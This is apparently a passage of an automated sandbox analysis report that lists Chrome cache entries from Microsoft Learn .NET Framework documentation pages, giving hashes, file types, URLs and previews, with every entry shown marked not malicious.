SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUukj:5hOEO8chkMet7pCjBfcHkWOzUukj
MD5:	86E84C732A96BF9CF18C99B48DB90B6D
SHA1:	6A8C212067CB9FE5B8325AE1E89FCA3E7FCF20FA
SHA-256:	B54678C5BFB00DC1AFBF2E52C56F8E10173975C25FB19062EFE5DC86F1B7D769
SHA-512:	AD91A78371074B5BB2105A9AE69664371C235B7C82DFD25C9ED17F435E92018F2A0DD42203F403D7A75DF4FC63966017519F118B2B22F0DE7656B2B155636AA2
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/site-header/site-header.json?
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 19696, version 1.0
Category:	downloaded
Size (bytes):	19696
Entropy (8bit):	7.9898910353479335
Encrypted:	false
SSDEEP:	384:37wfQhsuDSP36Elj0oScS8w3F1ZTt5JwtRGsh1SJR3YL0BeojRs8E:37Cms69owH3FPutReFYL+eods8E
MD5:	4D0BFEA9EBDA0657CEE433600ED087B6
SHA1:	F13C690B170D5BA6BE45DEDC576776CA79718D98
SHA-256:	67E7D8E61B9984289B6F3F476BBEB6CEB955BEC823243263CF1EE57D7DB7AE9A
SHA-512:	9136ADEC32F1D29A72A486B4604309AA8F9611663FA1E8D49079B67260B2B09CEFDC3852CF5C08CA9F5D8EA718A16DBD8D8120AC3164B0D1519D8EF8A19E4EA5
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.029026183/styles/docons.6a251ae.34a85e0c.woff2
Preview:	wOF2......L........`..L..........................T.V..@........6.$........ ..y.......d^..Awp(......<.1..fE.......I......z-.."YTZ.p.eMd.#..7.qY..Z.!..V...!......r...Z.;b........J....X..;.^...>UQ%U..CkT.....zKG.!\8%..>.b.4o4.t..........3..C..?u....E.S$.:.....mfZ......... .Q...].y..@....m.tC.C6. ......37..,V...F.a...A.. .PQ".A...B...p...q..!QA.N..m.......(..........gv..L...5M&._..+@.U..k.....CU..@...._.9q{....B..C.dB.F.a......J_Jo..M..oR....m......r...U0...y!.@-.h7...z....e.....J+...-{.s..1...^...zM[~....Fy.';.V...=.%......"..H..w.9L..$.{d.j&..... K...P`.$.g....;.0..........T.v....j.0Ht..<. ...<\......Ol.\|_U.+rmW..JK..".e<C ...q.?...B..l..Ni.....H....D..n@.......=c.f3.7........t...Z...}{....S;..KU.Ho.`....._?m....y...32l^.(..r..........Z...{U....W(......\|.q..P.`,.YQ....-,c...g*F..=....."M.......sq....-....w(.e.K........^2e.3&.\|,..4.TO..D].........W..W%j.._...nS.X.gE..3;2..:...Y..4j.-....c0A...U...p......d.M..6.L..b....O:[['wN.\|49.......]

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1528x402, components 3
Category:	dropped
Size (bytes):	64291
Entropy (8bit):	7.964191793580486
Encrypted:	false
SSDEEP:	1536:NHnitWEy8ugr5KeKvJx4FqzmYyIf52YHcd/HpQxhSoywkY8+N4U4Bv:NHitHyJTeysFqiYyIfEYHchQWoywkY8v
MD5:	8CCB0248B7F2ABEEAD74C057232DF42A
SHA1:	C02BD92FEA2DF7ED12C8013B161670B39E1EC52F
SHA-256:	0A9FD0C7F32EABBB2834854C655B958EC72A321F3C1CF50035DD87816591CDCC
SHA-512:	6D6E3C858886C9D6186AD13B94DBC2D67918AA477FB7D70A7140223FAB435CF109537C51CA7F4B2A0DB00EEAD806BBE8C6B29B947B0BE7044358D2823F5057CE
Malicious:	false
Preview:	......JFIF..............ICC_PROFILE............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6...C....................................................................C............................................................................"..........................................\......................!1..A.Qaq......".....#23BR......56Urst....$%4ST....&CDbcd......EFV.u...................................[...........................!1.AQR...."2Saq.......Ts.......#356BCDUbr.....%&47c.....$'Et..............?...j.....'Gu..7.=......8. ..nh..F.....y ..=....1L\U.+.Pj.RnI.(...N.{%].b..J..r...W[

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/app-could-not-be-started.png
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzfwqrLvJ4QG63JkRJ+dRp8TJHr:dgQ+KfZcbhaWjp45qtAdflfDOFnNgByQ
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/MSDocsHeader-DotNet.json?
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1528x402, components 3
Category:	downloaded
Size (bytes):	64291
Entropy (8bit):	7.964191793580486
Encrypted:	false
SSDEEP:	1536:NHnitWEy8ugr5KeKvJx4FqzmYyIf52YHcd/HpQxhSoywkY8+N4U4Bv:NHitHyJTeysFqiYyIfEYHchQWoywkY8v
MD5:	8CCB0248B7F2ABEEAD74C057232DF42A
SHA1:	C02BD92FEA2DF7ED12C8013B161670B39E1EC52F
SHA-256:	0A9FD0C7F32EABBB2834854C655B958EC72A321F3C1CF50035DD87816591CDCC
SHA-512:	6D6E3C858886C9D6186AD13B94DBC2D67918AA477FB7D70A7140223FAB435CF109537C51CA7F4B2A0DB00EEAD806BBE8C6B29B947B0BE7044358D2823F5057CE
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/event-banners/banner-learn-challenge-2024.jpg
Preview:	......JFIF..............ICC_PROFILE............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6...C....................................................................C............................................................................"..........................................\......................!1..A.Qaq......".....#23BR......56Urst....$%4ST....&CDbcd......EFV.u...................................[...........................!1.AQR...."2Saq.......Ts.......#356BCDUbr.....%&47c.....$'Et..............?...j.....'Gu..7.=......8. ..nh..F.....y ..=....1L\U.+.Pj.RnI.(...N.{%].b..J..r...W[

Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 111

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/logos/logo_net.svg
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 112

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33273), with no line terminators
Category:	downloaded
Size (bytes):	33273
Entropy (8bit):	4.918756013698695
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUukj:5hOEO8chkMet7pCjBfcHkWOzUukj
MD5:	86E84C732A96BF9CF18C99B48DB90B6D
SHA1:	6A8C212067CB9FE5B8325AE1E89FCA3E7FCF20FA
SHA-256:	B54678C5BFB00DC1AFBF2E52C56F8E10173975C25FB19062EFE5DC86F1B7D769
SHA-512:	AD91A78371074B5BB2105A9AE69664371C235B7C82DFD25C9ED17F435E92018F2A0DD42203F403D7A75DF4FC63966017519F118B2B22F0DE7656B2B155636AA2
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/toc.json
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 113

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 114

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 115

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzfwqrLvJ4QG63JkRJ+dRp8TJHr:dgQ+KfZcbhaWjp45qtAdflfDOFnNgByQ
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 116

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	downloaded
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.029026183/scripts/en-us/index-docs.js
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 117

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/breadcrumb/toc.json
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 118

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
